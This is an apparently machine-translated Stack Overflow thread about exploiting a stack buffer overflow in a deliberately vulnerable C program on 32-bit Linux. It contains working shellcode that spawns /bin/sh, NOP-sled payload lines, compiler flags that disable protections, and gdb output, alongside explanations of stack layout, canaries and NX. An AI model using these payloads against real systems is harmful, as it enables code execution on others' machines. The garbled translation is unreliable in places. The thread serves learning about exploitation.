所以我有一个非常简单的stackoverflow:
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);
}
我试图使用此代码溢出:
$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")
当我溢出堆栈时,我成功用我想要的地址覆盖EIP但是没有任何反应。它没有执行我的shellcode。
有没有人看到这个问题?注意:我的python可能是错误的。
更新
我不明白的是我的代码没有执行的原因。例如,如果我将eip指向nops,那么nops永远不会被执行。像这样,
$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")
更新
有人可以在Linux上自己利用这种溢出 x86并发布结果?
更新
没关系,我开始工作了。谢谢你的帮助。
更新
嗯,我以为我做到了。我确实得到了一个外壳,但现在我再次尝试,我遇到了问题。我正在做的就是在开始时溢出堆栈并指向我的shellcode。
像这样,
r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')
这应该指向A&#39。现在我不明白为什么我的地址最后在gdb中被改变了。
这就是gdb给我的,
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()
\ xcc变为\ xcd。这可能与我用gdb得到的错误有关吗?
当我用&#34; B&#34;#填充该地址时,它可以使用\ x42 \ x42 \ x42 \ x42解决。那是什么给出了什么?
任何帮助都将不胜感激。
另外,我正在使用以下选项进行编译:
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c
这真的很奇怪,因为除了我需要的地址外,任何其他地址都有效。
更新
我可以在gdb中成功生成带有以下内容的shell,
$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
但我不明白为什么它有时会起作用,而其他时候却不起作用。有时我的覆盖eip会被gdb更改。有谁知道我错过了什么?此外,我只能在gdb中spwan一个shell而不是正常的进程。最重要的是,我似乎只能在gdb中启动一次shell,然后gdb停止工作。
例如,现在当我运行以下内容时,我在gdb中得到了这个...
Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')
Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()
这似乎是由execstack打开造成的。
更新
是的,出于某种原因,我得到了不同的结果,但这个漏洞现在正在发挥作用。谢谢大家的帮助。如果有人能够解释我上面收到的结果,我会全力以赴。感谢。
答案 0 :(得分:2)
有几种保护措施,因为攻击直接来自于 编译器。例如,您的堆栈可能无法执行。
readelf -l <filename>
如果您的输出包含以下内容:
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
这意味着你只能在堆栈上读写(所以你应该&#34;返回libc&#34;来生成你的shell)。
也可能有一个金丝雀保护,这意味着你的变量和指令指针之间有一部分内存,它包含一个检查完整性的短语,如果它被你的字符串覆盖,程序将退出。
如果您在自己的程序中尝试这个,请考虑使用gcc命令删除一些保护:
gcc -z execstack
还有关于程序集的注释,通常在shell代码之前包含nops,因此您不必定位shell代码启动的确切地址。
$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
请注意,应放在指令指针内的地址中 你可以修改最后的十六进制数字,指向你的nops内部而不是 必须在缓冲区的开头。
当然,如果您正在尝试某些事情,gdb
应成为您最好的朋友
像那样。
希望这有帮助。
答案 1 :(得分:0)
这不会像[书面说明的那样]工作得太好。但是, 是可能的,所以请继续阅读......
有助于了解调用main
函数时实际的堆栈布局。它比大多数人意识到的要复杂得多。
假设有一个POSIX OS(例如linux),内核会将堆栈指针设置为固定的地址。
内核执行以下操作:
它计算环境变量字符串需要多少空间(即strlen("HOME=/home/me") + 1
用于所有环境变量,并且&#34;将这些字符串按向下[朝向较低内存]方向推入堆栈。然后它计算出有多少(例如envcount
)并在堆栈上创建char *envp[envcount + 1]
并使用指向给定字符串的指针填充envp
值。它将终止此{{1} }}
对envp
字符串进行了类似的处理。
然后,内核加载ELF解释器。内核使用ELF解释器的起始地址启动进程。 ELF解释器[最终]调用&#34; start&#34;函数(例如来自argv
的{{1}})执行某些初始化,然后调用_start
这是[某种]调用crt0.o
时堆栈的样子:
main(argc,argv,envp)
在main
上,"HOME=/home/me"
"LOGNAME=me"
"SHELL=/bin/sh"
// alignment pad ...
char *envp[4] = {
// address of "HOME" string
// address of "LOGNAME" string
// address of "SHELL" string
NULL
};
// string for argv[0] ...
// string for argv[1] ...
// ...
char *argv[] = {
// pointer to argument string 0
// pointer to argument string 1
// pointer to argument string 2
NULL
}
// possibly more stuff put in by ELF interpreter ...
// possibly more stuff put in by _start function ...
,x86
和argc
指针值放入argv
ABI的前三个参数寄存器中。< / p>
这里的问题是[问题,复数,实际上] ......
当这一切完成时,你几乎不知道shell代码的地址是什么。因此,您编写的任何代码都必须是RIP相对寻址,并且[可能]使用envp
构建。
并且,结果代码中间不能有零字节,因为[由内核]将其作为EOS终止字符串传送。因此,一个零(例如x86
)的字符串只会传输前三个字节而不整个shell代码程序。
你也不知道堆栈指针的值是什么。
此外,你需要在中找到 其中的返回地址的内存字(即这就是启动函数&#39; s {{ 1}} asm指令推送。
包含返回地址的单词必须设置为shell代码的地址。但是,它并不总是具有相对于-fPIC
堆栈帧变量的固定偏移量(例如<byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,...
)。因此,您无法预测堆栈中要修改的单词以获得&#34;返回shellcode&#34;效果。
此外,在call main
架构上,还有一些特殊的缓解硬件。例如,页面可以标记为main
[无执行]。这通常针对某些段(例如堆栈)完成。如果RIP更改为指向堆栈,则硬件将发生故障。
这是[简单]解决方案......
buf
有一些内在功能可以提供帮助:x86
,NX
。
因此,从内在函数[get this gcc
]中获取实际返回地址的值。获取堆栈帧的地址[调用此__builtin_return_address
]。
从__builtin_frame_address
开始并向(更高retadr
)递增到更高的内存,找到与fp
匹配的单词。此内存位置是您要修改以指向shell代码的位置。它可能是偏移0或8
那么,然后执行:fp
并返回。
注意,可能需要额外的步骤,因为如果堆栈设置了sizeof(void*)
位,retadr
指向的字符串就在堆栈中,如上所述。
以下是一些有效的示例代码:
*fp = argv[1]
答案 2 :(得分:0)
尝试执行堆栈缓冲区溢出时遇到了类似的问题。我发现我在GDB中的返回地址与正常流程中的返回地址不同。我所做的是添加以下内容:
unsigned long printesp(void){
__asm__("movl %esp,%eax");
}
在Return
之前的主右边结束时调用它来了解堆栈的位置。从那里我刚刚玩了这个值从打印的ESP减去4直到它工作。